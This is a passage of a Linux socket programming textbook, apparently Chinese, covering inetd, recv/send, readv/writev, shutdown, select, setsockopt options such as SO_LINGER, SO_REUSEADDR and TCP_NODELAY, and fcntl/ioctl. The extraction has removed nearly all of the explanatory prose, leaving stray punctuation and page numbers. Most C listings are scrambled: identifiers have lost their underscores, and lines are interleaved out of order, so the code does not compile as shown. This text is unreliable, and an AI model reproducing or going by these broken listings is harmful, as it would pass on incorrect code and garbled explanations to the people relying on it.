printf( daemon init error \ n ); exit(1); lfd = socket(af INET, SOCK STREAM, 0); if (lfd < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); if (bind(lfd, (struct sockaddr )&addr, sizeof(addr)) < 0) printf( bind error: % s \ n, strerror(errno)); exit(1); listen(lfd, 5); for (;;) cfd = accept(lfd, NULL, NULL); n = read(cfd, buf, sizeof(buf)); write(cfd, buf, n); close(cfd); daemon init, 6.8 : inetd Linux, inetd : (1 ) :,,,, (2 ),,, / etc/ inetd.conf, : 114
ftp stream tcp nowait root / usr/ sbin/ tcpd wu.ftpd - l - i - a telnet stream tcp nowait root / usr/ sbin/ tcpd in.telnetd shell stream tcp nowait root / usr/ sbin/ tcpd in.rshd - L login stream tcp nowait root / usr/ sbin/ tcpd in.rlogind, F TP,, TCP,,, / usr/ sbin/ tcpd, 6 2 / etc/ inetd.conf 6 2 / etc/ inetd.conf ( service name) ( socket type) ( protocol) ( wait status) ( user id) ( server program) (arguments) ( / etc/ services ) ( stream dgram) (tcp udp) wait, nowait 6 4 (1 ), / etc/ inetd.conf (2 ), ( ), listen, ( 3), select,, ;,, (4 ), accept (5 ) (6 ), dup 0, 1 2, (7 ) setuid (8 ) exec (9 ), nowait,,, wait, 115
6 4,,,,,, UDP wait,, : int main() char buf[1024]; int n; n = read(0, buf, sizeof(buf)); 116
write(1, buf, n); : inet echo stream tcp nowait zhb/ usr/ local/ bin/ inet echo / etc/ services : inet echo 8080/ tcp 6.9 Linux, fork, exec :,, Linux, Linux Posix,, Linux,,, daemon init Linux inetd, 117
7 7.1, : recv send, readv writev, recvmsg sendmsg, : shutdown / : select / 7.2 recv send recv send read write, : # include < sys/ types.h > # include < sys/ socket.h > int recv(int sockfd, void buf, int len, int flags); int send (int sockfd, void buf, int len, int flags); 3 read write, flags 0,, 7 1 7 1 flags recv send MSG DONTROU TE - MSG OOB - - MSG PEEK, - - MSG WAITALL - 118
MSG DONT ROUTE IP,,, IP,,,, I P,,,, : 192.168.0.10,, : ( 166. 111.68.0 :255.255.254.0 )( 192.168.0.0 : 255.255.255.0 ) :192.168.0.0, ; :192.168.0.0, MSG OOB recv send (Out Of Band)TCP MSG PEEK recv, TCP,,, N : if (np < N - 1) recv(sockfd, buf, sizeof(buf), MSG np ++ ; else recv(sockfd, buf, sizeof(buf), 0); PEEK); np, N - 1,, MSG PEEK, np 1 np N - 1,, : np, Linux ( semaphore) ( shared memory ) MSG MSG PEEK np,, : P EEK,, 119
peek: recv(sockfd, buf, sizeof(buf), MSG PEEK); do some check; if (condition) recv(sockfd, buf, sizeof(buf), 0); else goto peek; MSG WAITALL,,,, recv :,, len,, len, - 1, EINTR, - 1, flags 0, read write MSG WAI TALL read all, : # include < errno.h > # include < sys/ socket.h > int read all(int fd, void ptr, size t n) int n; cont: n = recv(fd, ptr, n, MSG WAITALL); if (n < 0 && errno == EINTR) goto cont; return (n); recv,, recv, recv recv MSG WAITALL, read all, 7.3 readv writev read write, : # include < sys/ uio.h > 120
int readv(int fd, struct iovec iov, int iovlen); int writev(int fd, struct iovec iov, int iovlen); fd,, ; iov ; iovlen, ; - 1 iov, iovec : struct iovec void iov base; size t iov len; ; iov base, iov len, readv, writev readv,, iov ioctl F IONREAD : int nbyte; ioctl (fd,fionread,& nbyte);,, readv iov,,, read, writev, write UDP, writev, UDP ; write, UDP TCP, writev, TCP ; write, TCP TCP NODELAY, writev TCP 4 ; 4, write, writev : # include < sys/ socket.h > # include < stdio.h > # include < netinet/ in.h > 121
# define SERVER PORT 8080 void cli requ(int sockfd) char inbuf[256], hdrbuf[64]; struct iovec iov[2]; int n; for ( ;; ) if (gets(inbuf) == NULL) return; n = strlen(inbuf); sprintf(hdrbuf, Length % d \ n, n); iov[0].iov iov[0].iov iov[1].iov iov[1].iov base = hdr; len = strlen(hdr); base = inbuf; len = strlen(inbuf); writev(sockfd, iov, 2); n = read if (n == 0) return; else if (n < 0) all(sockfd, inbuf, n); fprintf(stderr, read return; write(1, buf, n); cli line error.\ n ); requ hdrbuf, hdrbuf in buf iovec, writev 7.4 recvfrom sendto, ( UDP ) recvfrom, sendto UDP, 7.5 recvmsg sendmsg,, 122
UDP : # include < sys/ types.h > # include < sys/ socket.h > int recvmsg(int sockfd, struct msghdr msg, int flags); int sendmsg(int sockfd, struct msghdr msg, int flags); msg, flags send flags msg msghdr, : struct msghdr void msg name; int msg namelen; struct iovec msg iov; int msg iovlen; void msg control; int msg controllen; int msg flags; ; msg name msg namelen, msg name sockaddr, msg namelen recvmsg, sendmsg ( TCP connect UDP ), NULL sendmsg : struct msghdr hdr; struct sockaddr in addr; addr.sin family = AF INET; hdr.msg name = (struct sockaddr )&addr; hdr.msg namelen = sizeof(addr); sendmsg(sockfd, &hdr, 0); recvmsg : struct msghdr hdr; struct sockaddr in addr; 123
hdr.msg hdr.msg name = (struct sockaddr )&addr; namelen = sizeof(addr); recvmsg(sockfd, &hdr, 0); recvmsg, hdr msg iov msg iovlen readv writev iov iovlen, msg control msg controllen ( ancillary data), msg control msg controllen UNIX, cms ghdr, : struct cmsghdr int cmsg int cmsg int cmsg char cmsg ; len; level; type; data[0]; cmsg len, cmsg level, SOL SOCKET, cmsg type, SCM RIGHTS, cmsg data 3, 4,,, 7 1 SOL SCM SOCKET, cmsghdr : 16 : SOL : SCM : 5 SOCK ET RIGH T 7 1 cmsghdr RIGHTS, 5, 5 3, 12,, Linux (int), 4, 16 msg flags recvmsg recvmsg, flags, 124
,, sendmsg, flags flags, : MSG DONT ROUTE MSG OOB MSG PEEK MSG WAITALL recv send 7.6 : shutdown shutdown TCP : # include < sys/ socket.h > int shutdown(int sockfd, int howto); sockfd ; howto TCP, 0; - 1 TCP, shutdown howto :, howto = 0, 0, shutdown,, TCP, TCP,,, TCP,, 7 2,, howto = 1, SIGPI PE,,, EPI PE shutdown,, TCP, TCP F IN, TCP 7 3,, howto = 2 125
7 2 7 3 TCP,,,, SIGPI PE : close shutdown TCP, (1 ) close,, shutdown TCP close 1, 0,, TCP, close,, close, 0, close TCP shutdown : shutdown, TCP,, 126
shutdown, :,,,,,,,,,,, :,,,, : # include < sys/ socket.h > # include < netinet/ in.h > int main() int listenfd, connfd; struct sockaddr char buf[256]; in addr; listenfd = socket(af INET, SOCK STREAM, 0); bzero(& addr,sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = INADDR ANY; bind(listenfd, (struct sockaddr )&addr, sizeof(addr)); listen(listenfd); for ( ;; ) connfd = accept(listenfd, NULL, NULL); while (read(connfd, buf, sizeof(buf)) > 0) continue; write(connfd, OK!, 3); close(connfd); : # include < sys/ socket.h > # include < netinet/ in.h > int main() int sockfd; struct sockaddr in addr; char buf[256]; sockfd = socket(af INET, SOCK STREAM, 0); addr.sin family = AF INET; addr.sin port = htons(8080); 127
addr.sin addr.s addr = inet addr( 127.0.0.1 ); connect(sockfd, (struct sockaddr )&addr, sizeof(addr)); if (fork() == 0) while(gets(buf)!= NULL) write(sockfd, buf, strlen(buf)); close(sockfd); exit(0); else while(read(sockfd, buf, sizeof(buf)) > 0) printf(% s, buf); wait(null); exit(0); -,, : ( Ctrl + D), while, close, ( fork, 2 ), TCP FIN, while, read, write read,,, 7 4, 7 4 -,, shut down TCP F IN FIN, 0,,,, close, close TCP F IN, : 128
# include < sys/ socket.h > # include < netinet/ in.h > int main() int sockfd; struct sockaddr char buf[256]; in addr; sockfd = socket(af INET, SOCK STREAM, 0); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = inet aton( 127.0.0.1 ); connect(sockfd, (struct sockaddr )&addr, sizeof(addr)); if (fork() == 0) while(gets(buf)!= NULL) write(sockfd, buf, strlen(buf)); shutdown(sockfd, 1); exit(0); else while(read(sockfd, buf, sizeof(buf)) > 0) printf(% s, buf); wait(null); exit(0); (2 ) close close, shutdown :,,,,,, shutdown close shutdown, close,, shutdown :,,, HTT P, shutdown,, ;,,,,,, 7 5 129
7 5 shutdown 7 5 -, : # include < sys/ socket.h > # include < sys/ types.h > # include < netinet/ in.h > # include < errno.h > main() int listenfd, connfd; struct sockaddr char buf[256]; int n, total; in servaddr; if ((listenfd = socket(af INET, SOCK STREAM, 0)) < 0) perror( socket error.\ n ); exit(1); bzero(&servaddr, sizeof(servaddr)); servaddr.sin family = AF INET; servaddr.sin port = htons(8080); servaddr.sin addr.s addr = htonl(inaddr ANY); if (bind(listenfd, (struct sockaddr )&servaddr, sizeof(servaddr)) < 0) perror( bind port 8080 error.\ n ); exit(1); if (listen(listenfd, 1) < 0) perror( listen error.\ n ); 130
exit(1); connfd = accept(listenfd, NULL, NULL); if (connfd < 0) perror( accept error.\ n ); exit(1); n = total = 0; for (;;) n = read(connfd, buf + total, sizeof(buf) - total); if (n == 0) break; else if (n < 0 && errno!= EINTR) perror( read error.\ n ); exit(1); else if (n < 0) n = 0; total += n; write(connfd, buf, total); close(connfd);,, : # include < sys/ socket.h > # include < netinet/ in.h > # include < errno.h > main(int argc, char argv[]) int sockfd; struct sockaddr char buf[256]; int n, total; if (argc!= 2) in servaddr; perror( usage: shut ip exit(1); addr.\ n ); sockfd = socket(af INET, SOCK STREAM, 0); if (sockfd < 0) perror( socket error.\ n ); 131
exit(1); bzero(&servaddr, sizeof(servaddr)); servaddr.sin family = AF INET; servaddr.sin port = htons(8080); if (inet aton(argv[1], &servaddr.sin addr) < 0) perror( inet exit(1); aton error.\ n ); if (connect(sockfd, (struct sockaddr )&servaddr, sizeof(servaddr)) < 0) perror( connect error.\ n ); exit(1); sprintf(buf, GET/ HTTP/ 1.0 \ n \ n ); n = write shutdown(sockfd, 1); n = total = 0; for (;;) all(sockfd, buf, strlen(buf)); n = read(sockfd, buf + n, sizeof(buf) - n); if (n == 0) break; else if (n < 0 && errno!= EINTR) perror( read error.\ n ); exit(1); else if (n < 0) n = 0; total += n; close(sockfd); write(1, buf, total);, shutdown,,, HTT P, HTT P 7.7 / : select select,,, / : 132
# include < sys/ time.h > # include < unistd.h > int select(int maxfd, fd set rdset, fd set wrset, fd set exset, struct timeval timeout); maxfd, 0 maxfd - 1 ; rdset wrset exset ; timeout, 0, - 1, 4 : void FD ZERO(fd set fdset); void FD SET(int fd, fd set fdset); void FD CLR(int fd, fd set fdset); void FD ISSET(int, fd set fdset); FD ZERO,,,, FD SET FD CLR FD ISSET select rdset wrset exset, 3,, FD ISSET select 3, N ULL, select : 0, 3, 1, 0, 1 : fd int n; set rdset, wrset, exset; FD FD FD FD FD SET(0, &rdset); SET(3, &rdset); SET(1, &wrset); SET(0, &exset); SET(1, &exset); n = select(3 + 1, &rdset, &wrset, &exset, NULL); timeout select timeout < sys/ time.h > : struct timeval 133
long tv long tv ; sec; usec; tv sec, tv usec 3 : (1 ) timeout NULL, select,,,, select (2 ) timeout select, ;, 0 select, N ULL, select sleep, 5 : struct timeval tv; tv.tv sec = 5; tv.tv usec = 0; select(0, NULL, NULL, NULL, &tv); select sleep, (3 ) timeout select, select,,, EINTR select : # include < sys/ socket.h > # include < netinet/ in.h > # include < sys/ time.h > # include < errno.h > # include < unistd.h > # include < stdio.h > main(int argc, char argv[]) int sockfd; struct sockaddr in servaddr; char inch, outbuf[256]; fd int n; 134 set rdset;
if (argc!= 2) perror( usage: sel - cli ip exit(1); addr.\ n ); sockfd = socket(af INET, SOCK STREAM, 0); if (sockfd < 0) perror( socket error.\ n ); exit(1); bzero(&servaddr, sizeof(servaddr)); servaddr.sin family = AF INET; servaddr.sin port = htons(8080); if (inet aton(argv[1], &servaddr.sin addr) < 0) perror( inet exit(1); aton error.\ n ); if (connect(sockfd, (struct sockaddr )&servaddr,sizeof(servaddr)) < 0) perror( connect error.\ n ); exit(1); to.tv sec = 30; to.tv usec = 0; for (;;) FD FD FD ZERO(&rdset); SET(0, &rdset); SET(sockfd, &rdset); n = select(sockfd + 1, &rdset, NULL, NULL, &to); if (n == 0) fprintf(stderr, select timeout.\ n ); break; else if (n < 0 && errno == EINTR) continue; else if (n < 0) fprintf(stderr, select return - 1.\ n ); exit(1); if (FD ISSET(0, &rdset)) gets(outbuf); write(sockfd, outbuf, strlen(outbuf)); if (FD ISSET(sockfd, &rdset)) switch (read(sockfd, &inch, 1)) 135
case 0: fprintf(stderr, EOF ); exit(0); case - 1: fprintf(stderr, read error. ); exit(1); default: write(1, &inch, 1); select select, FD ISSET ;, gets, ;, read,, : # include < sys/ socket.h > # include < netinet/ in.h > int main() int listenfd, connfd; struct sockaddr char buf[512]; int n, i; in addr; listenfd = socket(af INET, SOCK STREAM, 0); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); bind(listenfd, (struct sockaddr )&addr, sizeof(addr)); listen(listenfd, 1); for ( ;; ) connfd = accept(listenfd, NULL, NULL); while (1) n = read(connfd, buf, sizeof(buf)); if ( n == 0) break; else if ( n < 0 && errno == EINTR) continue; 136
else fprintf(stderr, read error: % s \ n, strerror(errno)); break; for (i = 0; i < n; i ++ ) write(connfd, &buf[i], 1); sleep(1); close(connfd);,, read,,, 1,, 7.8, recv send,,,, readv writev, recvfrom sendto, UDP recvmsg sendmsg, shutdown, TCP, select, /, 137
8 8.1,,,, : getsockopt setsockopt, fcntl ioctl 8.2 getsockopt setsockopt getsockopt, setsockopt : # include < sys/ socket.h > int getsockopt(int sockfd, int level, int optname, void optval, socklen t optlen); int setsockopt(int sockfd, int level, int optname, const void optval, socklen t optlen); sockfd ; level, ( SOL SOCKET) IP ( IPPROTO IP ) TCP ( IPPROTO TCP ) ; optname ; optval, getsockopt, setsockopt ; optlen optval, getsockopt optval, setsockopt optval 3, 8 1 Linux, 8 2 IP,,, 8 3 TCP get- get sockopt,set - setsockopt -,, 0, 1 138
8 1 get set SO BROADCAST - - - int SO DEBUG - - - int SO DONTROUTE - - - int SO ERROR - int SO KEEPALI VE - - - int SO LINGER - - struct linger SO OOBINLI NE - - - int SO RCVBUF - - int SO SNDBUF - - int SO RCVLOWAT - - int SO SNDLOWAT - - int SO RCVTIMEO - - struct timeval SO SNDTI MEO - - struct timeval SO REUSEADDR - - int SO TYPE - int SO BSDCOMPAT - - BSD - int 8 2 IP get set I P HDRI NCL - - IP - int I P OPTIONS - - IP I P TOS - - - int I P TT L - - - int 8 3 TCP get set TCP MAXSEG - - TCP int TCP NODELAY - - Nagle - int,, : # include < sys/ socket.h > # include < sys/ time.h > # include < netinet/ tcp.h > # define OPT FLAG 0 # define OPT INT 1 # define OPT LINGER 2 # define OPT TIMEVAL 3 139
void print union val int i long l char c val; sockopt(union val, int, int); val; val[10]; struct linger linger struct timeval timeval val; struct sock opts char opt int opt int opt int opt str; level; name; type; sock opts[] = SO SO SO SO SO SO SO SO SO SO SO SO SO SO SO IP IP TCP TCP val; val; BROADCAST, SOL SOCKET, SO BROADCAST, OPT FLAG, DEBUG, SOL SOCKET, SO DEBUG, OPT FLAG, DONTROUTE, SOL SOCKET, SO DONTROUTE, OPT FLAG, ERROR, SOL SOCKET, SO ERROR, OPT INT, KEEPALIVE, SOL SOCKET, SO KEEPALIVE, OPT FLAG, LINGER,SOL SOCKET, SO LINGER,OPT LINGER, OOBINLINE, SOL SOCKET, SO OOBINLINE, OPT FLAG, RCVBUF,SOL SOCKET, SO RCVBUF,OPT INT, SNDBUF,SOL SOCKET, SO SNDBUF,OPT INT, RCVLOWAT,SOL SOCKET, SO RCVLOWAT,OPT INT, SNDLOWAT,SOL SOCKET, SO SNDLOWAT,OPT INT, RCVTIMEO,SOL SOCKET, SO RCVTIMEO,OPT TIMEVAL, SNDTIMEO,SOL SOCKET, SO SNDTIMEO,OPT TIMEVAL, REUSEADDR, SOL SOCKET, SO REUSEADDR, OPT FLAG, TYPE,SOL SOCKET, SO TYPE,OPT INT, TOS, IPPROTO IP, IP TOS, OPT INT, TTL, IPPROTO IP, IP TTL, OPT INT, MAXSEG, IPPROTO TCP,TCP MAXSEG, OPT INT, NODELAY,IPPROTO TCP,TCP NODELAY,OPT FLAG, NULL, 0,0,NULL ; int main() int sockfd, len; struct sock opts ptr; sockfd = socket(af INET, SOCK STREAM, 0); for (ptr = sock opts; ptr - > opt str!= NULL; ptr ++ ) printf(% s:, ptr - > opt str); 140
len = sizeof(val); if (getsockopt(sockfd, ptr - > opt level, ptr - > opt name,&val, &len) == - 1) fprintf(stderr, getsockopt error.\ n ); continue; else print void print switch (type) case OPT sockopt(&val, len, ptr - > opt type); sockopt(union val pval, int len, int type) FLAG: if (len!= sizeof(int)) fprintf(stderr, size ( % d) not sizeof(int) \ n, len); else printf(% s \ n, (ptr - > i val == 0)? off: on ); break; case OPT INT: if (len!= sizeof(int)) fprintf(stderr, size ( % d) not sizeof(int), len); else printf(% d \ n, ptr - > i val); break; case OPT LINGER: if (len!= sizeof(struct linger)) fprintf(stderr, size ( % d) not sizeof(struct linger), len); else printf( l onoff = % d, l linger = % d, pval - > linger val.l onoff, pval - > linger val.l linger); break; case OPT TIMEVAL: if (len!= sizeof(struct timeval)) fprintf(stderr, size ( % d) not sizeof(struct timeval), len); else printf(% d sec, % d usec, pval - > timeval val.tv sec, pval - > timeval break; default: val.tv usec); 141
fprintf(stderr, unknown option type.\ n ); sock opts : TCP, getsockopt sock opts, print sockopt setsockopt : struct timeval to; to.tv sec = 30; to.tv usec = 0; setsockopt(sockfd, SOL SOCKET, SO RCVTIMEO, &to, sizeof(to)); 30 8.3,,, SO RCVBUF, TCP UDP,,, SO BROADCAST,, SO OOBINLINE TCP, UDP, UDP, UDP, SO BROADCAST UDP, TCP, TCP, 8 1 1 SO BROADCAST 8 1,, 1,, 0 :, (UDP ), TCP ;, ( ), 0,, 142
setsockopt : int on = 1; setsockopt(sockfd, SOL SOCKET, SO BROADCAST, &on, sizeof(int));,, UDP I P,,,,,,, EACCES TCP I P, connect, connect I P,, UDP, ; TCP 2 SO DEBUG TCP TCP,, TCP, 3 SO DONTROUTE I P,,,,, ENETUNREACH ( routed gated ) :, send sendto sendmsg MSG : SO ; MSG : (1 ) SO DONT ROUTE DONTROUTE DONT ROUTE, DONTROUTE int on = 1; setsockopt(sockfd, SO DONTROUTE, &on, sizeof(on)); 143
write(sockfd, buf, len); (2 ) MSG DONTRO UTE send(sockfd, buf, len, MSG DONTROUTE);, MSG DONTRO UTE 4 SO ERROR, so error ( pending error), TCP connect, TCP, TCP ECON NRE FUSED : (1 ) ( select),,, so error,, so error, send, recv, TCP, TCP RS T, TCP,, so EP IPE error EPI PE, recv, (2 ) so error, read,, read - 1, errno so error, so error 0;, read,, so error (3 ) so error, write, - 1, errno so error, so error 0 (4 ) select,, select,,, read,, so error ;,, write,, so error (5) /, SI GIO,,,,, errno, ;, getsockpt SO ERROR so error getsockopt, so : int serrno; 144 error
int senlen; getsockopt(sockfd, SOL SOCKET, SO ERROR, &serrno, &senlen); serrno 5 SO KEEPALIVE TCP SO KEEPALIVE,,, TCP ( keepalive probe) TCP 3 : (1 ) TCP ( ), TCP (2 ) RST, TCP ECONNRESET, (3 ) TCP,, TCP, ETIMEO UT, ICM P, TCP ICM P, EHOSTU NREACH,, TCP F IN,,, SO KEEPALIVE,, SO KEEPALIVE,,,,,,,, FT P, 6. SO LINGER close close, TCP :, TCP,, TCP SO linger, linger : LINGER, 145
struct linger int l int l ; onoff; linger; l onoff ; l linger setsocket : (1 ) l onoff, ; l linger, close (2 ) l onoff, l linger close, TCP TCP, RST,,, TIME WAIT TCP RST,,,, TIME : WAIT,, TCP,,,,, 0,, TCP RST,, ECONNRESET, TCP 2 TCP TIME WAIT, TIME WAIT MSL ( wandering duplicate), TIME, WAIT,,, TIME WAIT,, SO REUSEADDR, SO LINGER (3 ) l onoff l linger close, close l linger, TCP, close, : ; 146
,,,,,, ;, close,, close ;,, close, EWOULDBLOCK, close, close (1 ) 8 1 8 1, TCP close FIN, close, FIN TCP, TCP : close,, TCP, TCP, TCP (2 ) 8 2 8 2 close RST close, TCP RS T 147
, read, close, TCP, (3 ) 8 3 8 3 close, TCP FIN, close, TCP FIN,, close TCP,, TCP TCP, F IN, read,,, shutdown 8 4 shutdown 8 4 shutdown, shutdown, TCP 148
FIN read, close, TCP FIN FIN, 00,, TCP,, : ( 1) : close TCP (2 ) : close TCP FIN (3 ) shutdown : read 0, :,,,,, close,,, close 8 5 : 8 5 # include < sys/ socket.h > # include < netinet.h > int main() int listenfd, connfd; struct sockaddr in addr; char buf[512]; 149
int nbytes; listenfd = socket(af INET, SOCK STREAM, 0); bzero (& addr,sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); bind(listenfd, (struct sockaddr )&addr, sizeof(addr)); listen(listenfd,5); for ( ;; ) connfd = accept(listenfd, NULL, NULL); for (; (nbytes = read(connfd, buf, 512)) > 0; ) write(1, buf, nbytes); nbytes = htonl(nbytes); write(connfd, &nbytes, sizeof(nbytes)); close(connfd);,,,,, : # include < sys/ socket.h > # include < netinet/ in.h > int main() int sockfd; struct sockaddr char buf[512]; int nbytes = 0, nack; in addr; sockfd = socket(af INET, SOCK STREAM, 0); bzero (& addr,sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = inet addr( 127.0.0.1 ); connect(sockfd, (struct sockaddr )&addr, sizeof(addr)); for (; gets(buf)!= NULL; ) nbytes + = write(sockfd, buf, strlen(buf)); for (; nbytes > 0; ) 150
read(sockfd, &nack, sizeof(nack)); nbytes - = ntohl(nack); if (nbytes < 0) printf( error acknowledge.\ n ); close(sockfd);,, ( Ctrl + D), read,,, ( nbytes) 0,, close -,,,,,,, ASCII, ASCII 7 SO OOBINLINE, TCP,, MSG OOB 8 SO RCVBUF SO SNDBUF TCP UDP,,, TCP, TCP, : TCP,,,, ;,, ; 0,, UDP,, UDP,, TCP TCP TCP, TCP SYN 151
, connect, SO listen, SO, RCVBU F, RCVBUF accept,, accept UDP, UDP UDP UDP 9 SO RCVLOWAT SO SNDLOWAT select select,, select TCP UDP 1TCP,,, select UDP,,, select select,, select TCP, 2048UDP, UDP,, UDP ( UDP UDP,, TCP, ),, 10 SO RCVTIMEO SO SNDTIMEO timeval 0 0,, 5 : read readv recv recvform recvmsg 5 : write writev send sendto sendmsg 11 SO REUSEADDR 3 SO (1 ), TIME REUSEADDR: WAIT MSL,,,, bind SO 152 REUSEADDR
, :,,,, bind, () bind, SO int listenfd; listenfd = socket(af INET, TCP STREAM, 0); setsockopt(listenfd, SO REUSEADDR, &on, sizeof(on)); REUSEADDR, : bind(listenfd, (struct sockaddr )&addr, sizeof(addr)); TCP,, TCP,,, :, SYN,, : 8080, IP 192.168.0.1,, (192.168.0.1 : 8080 : : 192.168.0.10 : 3230), SYN 192.168.0.10, TCP, IP 192.168.0.10, 3230, I P 192.168.0.10, 8080, TCP TIME WAIT, IP SYN,, TIME WAIT, SYN, SYN IP 192.168.0.10, 3230, SYN, (2 ) SO REUSEADDR, I P IP HTT P IP 198.69.10.2, 198. 69.10.128 198.69.10.129 SO REUSEADDR, 3 HTTP : IP 198.69.10.128 80 (HT TP ), I P 198.69.10.129 80, IP INADDR ANY 80, 3, 153
198.69.10.128 : 80 HTT P, 198. 69.10.129 : 80 HTTP, 80,, TCP, 3 : int lfd1, lfd2, lfd3; struct sockaddr int on = 1; in addr1, addr2, addr3; lfd1 = socket(af INET, SOCK STREAM, 0); lfd2 = socket(af INET, SOCK STREAM, 0); lfd3 = socket(af INET, SOCK STREAM, 0); setsockopt(lfd1, SO setsockopt(lfd2, SO setsockopt(lfd3, SO REUSEADDR, &on, sizeof(on)); REUSEADDR, &on, sizeof(on)); REUSEADDR, &on, sizeof(on)); addr1.sin family = addr2.sin family = addr3.sin family = AF INET; addr1.sin port = addr2.sin port = addr3.sin port = htons(80); addr1.sin addr.s addr = inet addr( 192.69.10.2 ); addr2.sin addr.s addr = inet addr( 192.69.10.128 ); addr3.sin addr.s addr = htonl(inaddr ANY); bind(lfd1, (struct sockaddr )&addr1, sizeof(addr1)); bind(lfd2, (struct sockaddr )&addr2, sizeof(addr2)); bind(lfd3, (struct sockaddr )&addr3, sizeof(addr3)); TCP IP,, SO DR, 198.69.10.2 :80 (3 ) SO REUSEAD REUSEADDR, I P UDP I P INADDR ANY, I P, BSD IP RECVDSTADDR, UDP IP Linux, Linux UDP, : IP,, UDP : struct sockaddr struct hostent he; struct utsname myname; struct sockaddr in paddr; in addr; int sockfd[max SOCK FD]; 154
int i = 0; int on = 1; uname(&myname); he = gethostbyname(myname.nodename); addr.sin family = AF INET; addr.sin port = htons(udp SERVER PORT); for (paddr = he - > h addr list; paddr!= NULL; paddr ++ ) sockfd[i] = socket(af INET, SOCK DGRAM, 0); setsockopt(sockfd[i], SO addr.sin addr = paddr; REUSEADDR, &on, sizeof(on)); bind(sockfd[i], (struct sockaddr )&addr, sizeof(addr)); uname, gethostbyname I P, he h addr list IP IP, socket, IP UDP, TCP, getsockname I P ADDR SO REUSEADDR : I P IN ANY 8080, SO REUSEADDR,, IP, IP, I P 8080, INADDR ANY, HT TP FT P Telnet,,, : # include < sys/ socket.h > # include < netinet/ in.h > int main() int lfd, cfd; struct sockaddr in addr; char buf[512]; int n = 1; lfd = socket(af INET, SOCK STREAM, 0); setsockopt(lfd, SO REUSEADDR, &n, sizeof(n)); bzero (& addr,sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(8080); 155
addr.sin addr.s addr = htonl(inaddr ANY); bind(lfd, (struct sockaddr )&addr, sizeof(addr)); listen(lfd, 5); for ( ;; ) cfd = accept(lfd, NULL, NULL); for (; (n = read(cfd, buf, 512)) > 0; ) write(cfd, buf, n); close(cfd); 192.168.0.2, : # include < sys/ socket.h > # include < netinet/ in.h > int main() int lfd, cfd; struct sockaddr char buf[512]; in addr; char msg[] = YOU ARE ARRESTED! ; intn = 1; lfd = socket(af INET, SOCK STREAM, 0); setsockopt(lfd, SO bzero (& addr,sizeof(addr)); addr.sin family = AF INET; addr.sin REUSEADDR, &n, sizeof(n)); port = htons(8080); addr.sin addr.s addr = inet addr( 192.168.0.2 ); bind(lfd, (struct sockaddr )&addr, sizeof(addr)); listen(lfd, 5); for ( ;; ) cfd = accept(lfd, NULL, NULL); for (; (n = read(cfd, buf, 512)) > 0; ) write(cfd, msg, strlen(msg)); close(cfd);, YOU ARE ARRESTED! 156
12 SO TYPE, SOCK STREAM SOCK DGRAM 8.4 IP IP IP 1 IP HDRINCL, IP IP, IP, IP : IP IP, IP I P INADDR ANY, IP I P 2 IP OPTIONS I P IP 3 IP TOS TCP UDP IP getsock opt IP TOS ( 0), IP TOS 4 IP TTL ( time to live, TTL) 8.5 TCP TCP TCP 1 TCP MAXSEG TCP ( Maximum Seg ment Size, MSS) TCP, SYN MSS,, getsockopt,,, 157
TCP ( Maximum Transmission Unit, MTU), 2 TCP NODELAY TCP Nagle, TCP Nagle :,,,,,,,, ( ),,, TCP, TCP Rlogin Telnet,, Nagle,,,,, Nagle : 6 hello! : 250, ( Round Trip Time, R TT) 600,,, Nagle 8 6 12 ( 600 ), Nagle,, 8 7 Nagle, ( h ), Nagle (600 ),, TCP,, e l, TCP,,, 950, 700, Nagle, 158
8 6 ( Nagle ) 8 7 ( Nagle ) Nagle TCP,, : TCP,, ( 50200 ), TCP,,, TCP, TCP, :, TCP,,, Nagle, TCP 159
8 8 Nagle 8 8 ( Nagle ) Nagle, ( h ),,, 3 ell, 3 Nagle,, TCP NODELAY Nagle 6, 8 9 8 9 ( TCP ) TCP 160
4, : 4,, 8 10 write, TCP,, 1.5 3 : (1 ) writev, writev writev TCP, write TCP (2 ), write TCP (3 ) TCP NODELAY, write TCP,, TCP, 8.6 fcntl fcntl, : # include < fcntl.h > int fcntl(int fd, int cmd,...);, fd ; cmd,, cmd 8 4 8 4 fcntl F GETFL 0 F SETFL O NONBLOCK 0; - 1 F GETOWN int 0; - 1 F SETOWN int 0; - 1, fcntl : 1 : int flags; if ((flags = fcntl(fd, F GETFL, 0)) < 0) 161
fprintf(stderr, fcntl F exit(1); flags = O NONBLOCK; if (fcntl(fd, F SETFL, flags) < 0) fprintf(stderr, fcntl F exit(1); F GETFL error.\ n ); SETFL error.\ n ); GET FL, flags,, flags O NONBLOCK, F SETF L fcntl, F O NONBLOCK fcntl, : if (fcntl(fd, F SETFL, O NONBLOCK) < 0) fprintf(stderr, fcntl F exit(1); SETFL error.\ n ); fcntl,, : flags & = O NONBLOCK; if (fcntl(fd, F SETFL, flags) < 0) fprintf(stderr, fcntl F exit(1); SETFL error.\ n ); SETF L flags O flags NONBLOCK, 2, SIGIO SIG URG socket,, SIGIO SIGURG, fcntl F SE TOWN, : (1 ),, (2 ),, : if (fcntl(sockfd, F SETOWN, getpid()) < 0) 162
fprintf(stderr, fcntl F exit(1); SETOWN error.\ n ); getpid F GETOWN,, :, accept, 8.7 ioctl ioctl / : # include < unistd.h > int ioctl(int fd, int req,...); ioctl, fd ; req,, ioctl, 0;, - 1 3, 8 5 3 8 5 ioctl SIOCAT MARK int FIOASYNC int / F IONREAD int SIOCATMARK,, F IOASYNC / ( SIGIO), SIGIO, SIGIO F IONREAD 8.8, 3 : IP TCP 163
getsockopt, setsockopt SO RCVBU F SO SNDBU F, SO RCVTIMEO SO SNDTIMEO, SO LINGER close, 0, TCP, TCP RST, SO REUSEADDR, fcntl ioctl fcntl F SETF L, F SETOWN ioctl SIOCATMARK, F IOASYNC / ( SIGIO), F IONREAD 164
